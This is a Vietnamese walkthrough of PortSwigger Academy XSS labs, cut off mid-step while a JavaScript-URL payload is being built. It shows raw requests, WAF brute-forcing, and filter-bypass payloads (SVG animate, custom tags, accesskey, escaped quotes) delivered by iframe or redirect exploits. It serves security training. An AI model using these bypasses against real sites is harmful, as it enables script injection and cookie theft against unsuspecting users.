XSS Between HTML Tags

Khi ngữ cảnh XSS là giữa các thẻ HTML thì ta cần tạo ra các thẻ khác để thực thi JavaScript. Ví dụ:

<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>

Lab: Reflected XSS into HTML Context with Most Tags and Attributes Blocked

Lab này tồn tại lỗ hổng XSS ở chức năng tìm kiếm và có sử dụng WAF. Mục tiêu là thực thi hàm print.

Gửi request có chứa payload:

GET /?search=<script>alert(1)</script> HTTP/2
Host: 0a2600d204dcc5d5800b086f00a9005b.web-security-academy.net
Cookie: session=TEvDMu7MQLBDPOpLCoxreBRNlEau52YF
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2600d204dcc5d5800b086f00a9005b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Content-Length: 20
 
"Tag is not allowed"

Có thể thấy, tag <script> bị cấm.

Sử dụng BurpSuite Intruder để tìm các tag được phép:

GET /?search=<§§> HTTP/2
Host: 0a2600d204dcc5d5800b086f00a9005b.web-security-academy.net
Cookie: session=TEvDMu7MQLBDPOpLCoxreBRNlEau52YF
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2600d204dcc5d5800b086f00a9005b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Tip

Sử dụng payload ở Cross-Site Scripting (XSS) Cheat Sheet - 2024 Edition | Web Security Academy (portswigger.net) (nút “Copy tags to clipboard”).

Tìm được 2 tag được phép:

Xây dựng payload dựa vào cheat sheet trên:

<body onbeforeprint=print()>

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Content-Length: 26
 
"Attribute is not allowed"

Có thể thấy, attribute onbeforeprint cũng bị cấm.

Tiếp tục brute force để tìm các attribute (event) được phép:

GET /?search=<body §§=1> HTTP/2
Host: 0a2600d204dcc5d5800b086f00a9005b.web-security-academy.net
Cookie: session=TEvDMu7MQLBDPOpLCoxreBRNlEau52YF
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2600d204dcc5d5800b086f00a9005b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Tìm được một số attribute sau:

Thuộc tính onresize không cần tương tác người dùng (khi sử dụng với cross-site request). Xây dựng payload như sau:

<body onresize="print()">

Xây dựng exploit để gửi cross-site request:

<iframe src="https://0a2600d204dcc5d5800b086f00a9005b.web-security-academy.net/?search=%3cbody%20onresize%3d%22print()%22%3e" onload=this.style.width='100px'>

Có thể thấy, sau khi thẻ <iframe> được nạp lên thì chiều rộng của nó bị thay đổi thành 100px. Điều này khiến cho sự kiện onresize được kích hoạt.

Sao chép exploit trên vào exploit server và chuyển giao cho nạn nhân.

Lab: Reflected XSS into HTML Context with All Tags Blocked Except Custom Ones

Lab này block tất cả các tag trừ các custom tag. Mục tiêu là thực thi hàm alert để in ra document.cookie.

Trước tiên, thử với <script>alert(1)</script>:

GET /?search=<script>alert(1)</script> HTTP/2
Host: 0a0800c103f25d93803f2bfd00800030.web-security-academy.net
Cookie: session=XrcDmS384Yh1DH14cedeR4tHk7x1AEZG
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0800c103f25d93803f2bfd00800030.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
 
"Tag is not allowed"

Dùng BurpSuite Intruder để tìm ra các tag được phép:

GET /?search=<§§> HTTP/2
Host: 0a0800c103f25d93803f2bfd00800030.web-security-academy.net
Cookie: session=XrcDmS384Yh1DH14cedeR4tHk7x1AEZG
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0800c103f25d93803f2bfd00800030.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Tìm được một số tag như sau:

Tuy nhiên, đề bài đã đề cập là tất cả các tag đều bị block, ta không nên mất thời gian thử nghiệm các tag trên.

Dùng cheat sheet để xây dựng payload sử dụng custom tag <xss> như sau:

<xss autofocus tabindex=1 onfocus=alert(document.cookie)></xss>

Xây dựng exploit để thực hiện cross-site request như sau:

<iframe src="https://0a0800c103f25d93803f2bfd00800030.web-security-academy.net/?search=%3cxss%20autofocus%20tabindex%3d1%20onfocus%3dalert(document.cookie)%3e%3c%2fxss%3e">

Sau khi gửi cross-site request thì thẻ<iframe> không được load. Lý do là vì có header X-Frame-Options: SAMEORIGIN trong response. Header này sẽ quyết định xem có render trang web trong thẻ <iframe> hay không.

Để gửi cross-site request và chuyển hướng người dùng, cũng có thể thay đổi window.location như sau:

<script>
	window.location = "https://0a0800c103f25d93803f2bfd00800030.web-security-academy.net/?search=%3cxss%20autofocus%20tabindex%3d1%20onfocus%3dalert(document.cookie)%3e%3c%2fxss%3e"
</script>

Chuyển giao exploit cho nạn nhân và thực thi alert(document.cookie) thành công.

Seealso

Tham khảo Web Security Academy – Reflected XSS into HTML context with most tags and attributes blocked – Swimming in the Byte Stream (wordpress.com)

Lab: Reflected XSS with Event Handlers and Href Attributes Blocked

Lab này có white list một số tag nhưng block toàn bộ các thuộc tính sự kiện và href. Mục tiêu là gọi hàm gọi hàm alert khi người dùng click vào payload.

Chú ý: cần phải thêm chữ "Click" vào payload để dụ nạn nhân click, ví dụ:

<a href="">Click me</a>

Brute force các thẻ được phép, kết quả:

Thử với một thuộc tính sự kiện bất kỳ:

GET /?search=<svg onload=alert(1)> HTTP/2
Host: 0a8400000418937e829fab0f00bc0090.web-security-academy.net
Cookie: session=FE4TCWbYjK46ZTbvlvrYH9VmWt4uy07g
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8400000418937e829fab0f00bc0090.web-security-academy.net/?search=a
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 22
 
"Event is not allowed"

Thử với thẻ <a> và attribute href:

GET /?search=<a href="javascript:alert(1)">Click me</a> HTTP/2
Host: 0a8400000418937e829fab0f00bc0090.web-security-academy.net
Cookie: session=FE4TCWbYjK46ZTbvlvrYH9VmWt4uy07g
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8400000418937e829fab0f00bc0090.web-security-academy.net/?search=a
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 26
 
"Attribute is not allowed"

Thử dùng payload sau:

<svg>
	<animate xlink:href=#xss  attributeName=href  values=javascript:alert(1) />
	<a id=xss>
		<text x=20  y=20>Click me</text>
	</a>
</svg>

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 26
 
"Attribute is not allowed"

Có thể thấy, ngoài những thẻ tìm được ở trên thì thẻ <text> cũng không bị filter. Tuy nhiên, do thuộc tính xlink:href tương tự với thuộc tính href (xlink:href=#xss cho biết animation sẽ target đến element có ID là "xss") nên request vẫn bị từ chối.

Thử bỏ thuộc tính này đi thì response là:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3299

Tuy nhiên, làm vậy sẽ khiến cho payload không click được. Để giải quyết điều này, ta cần phải bọc thẻ <a> ở bên ngoài thẻ <animate>:

<svg>
	<a>
		<animate attributeName=href values=javascript:alert(1) />
		<text x=20  y=20>Click me</text>
	</a>
</svg>

Seealso

Tham khảo: Reflected XSS with event handlers and href attributes blocked - Portswigger Academy Labs - HACKLIDO

Lab: Reflected XSS with Some SVG Markup Allowed

Lab này chặn các common tag nhưng không chặn các tag SVG và một số event handler. Mục tiêu là thực thi hàm alert.

Brute force các tag:

Sử dụng thẻ <svg> với event handler onload:

GET /?search=<svg onload=alert(1)>  HTTP/1.1
Host: 0ad1009004b431678034c15d00e40092.h1-web-security-academy.net
Cookie: session=9FRcG7CkefWycEH15yRyjNmbZo0aIBct
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad1009004b431678034c15d00e40092.h1-web-security-academy.net/?search=a
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: close

Response:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 16
 
"Protocol error"

Sử dụng <svg> với thẻ <animatetransform> và event handler onbegin (payload từ cheat sheet):

GET /?search=<svg><animatetransform onbegin=alert(1) attributeName=transform> HTTP/1.1
Host: 0a760042033e437c83e3ceec00ae0061.h1-web-security-academy.net
Cookie: session=zxgtMNqLXN9mtQUjg00KUPoX8qhHdHAs
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a760042033e437c83e3ceec00ae0061.h1-web-security-academy.net/?search=a
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: close

Kết quả: hàm alert được thực thi.

XSS in HTML Tag Attributes

Khi ngữ cảnh là bên trong thuộc tính của thẻ HTML thì cần đóng thuộc tính, đóng thẻ và tạo một thẻ HTML mới. Ví dụ:

"><script>alert(document.domain)</script>

Nếu ký tự > bị chặn hoặc encode thì có thể thêm một thuộc tính khác cho phép thực thi JavaScript:

" autofocus onfocus=alert(document.domain) x="

Lab: Reflected XSS into Attribute with Angle Brackets HTML-encoded

Tồn tại lỗ hổng XSS trong chức năng tìm kiếm với ký tự <> bị encode. Mục tiêu là thực thi hàm alert.

Với keyword tìm kiếm là a, response có đoạn code sau:

<section class=search>
	<form action=/ method=GET>
		<input type=text placeholder='Search the blog...' name=search value="a">
		<button type=submit class=button>Search</button>
	</form>
</section>

Sử dụng payload sau:

" autofocus onfocus=alert(1) x="

Kết quả: thực thi được hàm alert.

Lab: Stored XSS into Anchor Href Attribute with Double Quotes HTML-encoded

Đôi khi attribute mà user input được chèn vào cũng có thể dùng để thực thi JavaScript:

<a href="javascript:alert(document.domain)">

Lab này tồn tại lỗ hổng XSS trong phần comment. Mục tiêu là gọi hàm alert khi author của comment được click.

Chỉ khi nhập thông tin website thì mới xuất hiện stored XSS trong author của comment.

Request đăng bình luận có dạng như sau:

POST /post/comment HTTP/2
Host: 0ae00050040ae5e08120341d00d90062.web-security-academy.net
Cookie: session=uw8XrqMEqNN8hWIbT2RjpdZZY5qYoDCk
Content-Length: 93
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0ae00050040ae5e08120341d00d90062.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae00050040ae5e08120341d00d90062.web-security-academy.net/post?postId=4
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
csrf=MkTjQTNCu7UM6Wq5SN56x5gYxH4dAcM8&postId=4&comment=a&name=a&email=a%40a.com&website=a.com

Response khi truy vấn nội dung của bài đăng với ID = 4 có đoạn code sau:

<section class="comment">
	<p>
		<img src="/resources/images/avatarDefault.svg" class="avatar">
		<a id="author" href="a.com">a</a> | 15 April 2024
	</p>
	<p>a</p>
	<p></p>
</section>

Sử dụng payload sau ở tham số website:

javascript:alert(1)

Canonical link tag là một thẻ <link rel="canonical"> có chứa URL chính của trang web mà được search engine hiển thị trong kết quả tìm kiếm. Ví dụ:

  • Canonical URL: https://example.com/blog/
  • Alternate URL: https://example.com/blog/?page=1

Có thể khai thác XSS với canonical link tag kết hợp với thuộc tính accesskey (có ở Chrome):

<link rel="canonical" accesskey="X" onclick="alert(1)" />

Seealso

XSS in hidden input fields | PortSwigger Research

Thuộc tính accesskey định nghĩa một phím được dùng để kích hoạt một sự kiện nào đó (có thể phải kết hợp thêm các phím khác tùy từng loại trình duyệt và hệ điều hành).

Lab này chèn user input vào canonical link tag ở trang chủ và escape các ký tự đóng/mở tag cũng như là dấu ngoặc kép. Mục tiêu là thực thi hàm alert khi user nhấn các tổ hợp phím sau:

  • ALT+SHIFT+X
  • CTRL+ALT+X
  • Alt+X

Request truy vấn nội dung của bài đăng có ID = 3:

GET /post?postId=3 HTTP/2
Host: 0ade00820476271980169af9000700d1.web-security-academy.net
Cookie: session=dWsUG3d41rtiKOcGP06ISn3svD02KHju
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ade00820476271980169af9000700d1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response có đoạn code như sau:

<head>
	<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
	<link href=/resources/css/labsBlog.css rel=stylesheet>
	<link rel="canonical" href='https://0ade00820476271980169af9000700d1.web-security-academy.net/post?postId=3'/>
	<title>Reflected XSS in canonical link tag</title>
</head>

Có thể thấy, URL của request được chèn vào một canonical link tag. Tuy nhiên, giá trị của query param postId ở endpoint này có validation.

Tìm được endpoint khác cũng có query param postId và có thể truyền giá trị tùy ý:

GET /post/comment/confirmation?postId=abc HTTP/2
Host: 0ade00820476271980169af9000700d1.web-security-academy.net
Cookie: session=dWsUG3d41rtiKOcGP06ISn3svD02KHju
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://0ade00820476271980169af9000700d1.web-security-academy.net/post?postId=3
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Sử dụng payload sau cho query param postId:

'accesskey='x'onclick='alert(1)'x=' 

Giải thích:

  • Ký tự ' đầu tiên để đóng attribute href.
  • accesskey='x' để định nghĩa phím kích hoạt sự kiện theo như đề cho.
  • onclick='alert(1)' để thực thi hàm alert.
  • x=' để đóng ký tự ' cuối cùng.

Fail

Mặc dù có thể thực thi được hàm alert nhưng đáp án không được chấp nhận vì đề bài yêu cầu thực hiện ở trang chủ.

Áp dụng payload trên cho trang chủ (query param tùy ý) thì thực thi được hàm alert.

XSS into JavaScript

Terminating the Existing Script

Trong trường hợp đơn giản như bên dưới, chúng ta chỉ cần đóng thẻ <script> và thêm vào các thẻ HTML để thực thi JavaScript:

<script> 
	... 
	var input = 'controllable data here'; 
	... 
</script>

Cụ thể, payload sử dụng sẽ là:

</script><img src=1 onerror=alert(document.domain)>

Lý do mà payload này có thể hoạt động được là vì trình duyệt thực hiện HTML parsing trước để xác định các element (kể cả <script>) có trong trang web rồi mới thực hiện JavaScript parsing để thực thi script.

Lab: Reflected XSS into a JavaScript String with Single Quote and Backslash Escaped

Lab này tồn tại lỗ hổng trong tính năng tìm kiếm. Cụ thể, user input được chèn vào một chuỗi trong JavaScript mà escape ký tự ' và ký tự /. Mục tiêu là thực thi hàm alert.

Tìm kiếm với keyword là a thì trong response có đoạn client-side script như sau:

<script>
	var searchTerms = 'a';
	document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

Có thể thấy, giá trị của searchTerms được URL encode. Element được chèn vào sau khi script trên được thực thi là:

<img src="/resources/images/tracker.gif?searchTerms=a" d1bkxr17d="">

Ta có thể không quan tâm đến việc client-side script thực thi ra sao mà có thể dùng payload sau để đóng thẻ <script> và thực thi hàm alert:

</script><img src=1 onerror=alert(1)>

Breaking Out of a JavaScript String

Trong trường hợp user input được chèn vào một chuỗi trong JavaScript thì ta cũng có thể đóng chuỗi và thực thi mã tùy ý. Ví dụ:

'-alert(document.domain)-' 
';alert(document.domain)//

Một số ứng dụng có thể escape dấu nháy đơn trong user input. Tuy nhiên, bản thân ký tự \ cũng có thể bị escape nên vẫn có thể khai thác được. Ví dụ, nếu input sau bị escape:

';alert(document.domain)//

Thì có thể sửa lại như sau để bypass:

\';alert(document.domain)//

Nếu trang web có sử dụng WAF thì có thể sử dụng lệnh throw kết hợp với một exception handler để truyền đối số vào hàm mà không cần dùng cặp dấu ngoặc tròn. Ví dụ:

onerror=alert;throw 1

Đoạn script trên gán hàm alert cho global exception handler và dùng lệnh throw để truyền giá trị 1 vào exception handler (hàm alert).

Seealso

XSS without parentheses and semi-colons | PortSwigger Research

Lab: Reflected XSS into a JavaScript String with Angle Brackets HTML Encoded

Lab này tồn tại lỗ hổng XSS ở chức năng tìm kiếm mà có escape các ký tự đóng/mở tag. User input được chèn vào một chuỗi JavaScript. Mục tiêu là thực thi hàm alert.

Sử dụng payload sau:

' ;alert(1); '

Kết quả: thực thi được hàm alert.

Lab: Reflected XSS into a JavaScript String with Angle Brackets and Double Quotes HTML-encoded and Single Quotes Escaped

Lab này tồn tại lỗ hổng XSS trong tính năng tìm kiếm và có thực hiện những biện pháp phòng chống sau:

  • Các ký tự đóng/mở tag và dấu nháy kép bị HTML encode.
  • Dấu nháy đơn bị escape.

Mục tiêu là thực thi hàm alert.

Response trả về khi tìm kiếm với từ khóa a có đoạn client-side script như sau:

<script>
	var searchTerms = 'a';
	document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

Thử payload ' ;alert(1); ' thì client-side script trên trở thành:

<script>
	var searchTerms = '\' ;alert(1); \'';
	document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

Thoát escape bằng cách thêm ký tự \ trước dấu nháy đơn đầu tiên và chuỗi // để comment các ký tự phía sau. Payload trở thành:

\' ;alert(1); //

Kết quả: thực thi được hàm alert.

Lab: Reflected XSS in a JavaScript URL with Some Characters Blocked

Lab này chèn user input vào một JavaScript URL nhưng nó chặn một số ký tự nhằm chống XSS. Mục tiêu là thực thi hàm alert để in ra chuỗi có chứa 1337.

Request truy vấn thông tin một bài đăng:

GET /post?postId=4 HTTP/2
Host: 0a9f00c7049e16fc81a0a77100f50084.web-security-academy.net
Cookie: session=U9jXLFT524cFPv9p0d1OIk6aEe4jifvb
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9f00c7049e16fc81a0a77100f50084.web-security-academy.net/post/comment/confirmation?postId=4
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response có đoạn code như sau:

<div class="is-linkback">
	<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d4'}).finally(_ => window.location = '/')">Back to Blog</a>
</div>

Có thể thấy, query param postId được chèn vào body của request gửi đến endpoint /analytics khi người dùng nhấn nút “Back to Blog”.

Khi thay đổi giá trị của query param postId gửi đến endpoint /post thành một giá trị tùy ý (chẳng hạn abc) thì nhận được response sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 22
 
"Invalid blog post ID"

Có thể thấy, server thực hiện validate query param postId.

Thử thêm vào một query param khác:

GET /post?postId=1&q=1 HTTP/2
Host: 0a9f00c7049e16fc81a0a77100f50084.web-security-academy.net
Cookie: session=U9jXLFT524cFPv9p0d1OIk6aEe4jifvb
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9f00c7049e16fc81a0a77100f50084.web-security-academy.net/post/comment/confirmation?postId=4
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response có đoạn code sau:

<div class="is-linkback">
	<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%26q%3d1'}).finally(_ => window.location = '/')">Back to Blog</a>
</div>

Như vậy, query param q đã được chèn vào body của request gửi đến endpoint /analytics thành công. Tuy nhiên, ta cần phải bypass được các filter của server.

Thử thêm dấu nháy đơn phía sau số 1 thì client-side script thay đổi thành:

<div class="is-linkback">
	<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%26q%3d1%27'}).finally(_ => window.location = '/')">Back to Blog</a>
</div>

Có thể thấy, dấu nháy đơn bị URL encode.

Sau khi thử nghiệm thì biết được rằng:

  • Các ký tự sau sẽ bị encode: :, =, &, @, #, ;, ', ?, <, >.
  • Các ký tự sau sẽ bị xóa: (, ), \, %, [, ], dấu backtick, khoảng trắng.
  • Các ký tự có thể sử dụng: ~, !, #, $, ^, *, -, _, +, {, }, |, ,, ., /.

Hint

Các ký tự bị encode sẽ được decode trong lúc thực thi nên vẫn có thể dùng được.

Các bước xây dựng payload:

  1. Thêm ký tự ' để đóng chuỗi giá trị của thuộc tính body.
    • Payload: q=1'
    • Client-side script: fetch('/analytics', {method:'post',body:'/post?postId=5&q=1''}).finally(_ => window.location = '/')
  2. Thêm ký tự } để đóng object:
    • Payload: q=1'}
    • Client-side script: fetch('/analytics', {method:'post',body:'/post?postId=5&q=1'}'}).finally(_ => window.location = '/')
  3. Do ký tự ) sẽ bị xóa nên không thể tự đóng hàm fetch. Ta cần đóng chuỗi '}).finally(_ => window.location = '/') ở cuối bằng cách thêm ,{x:':
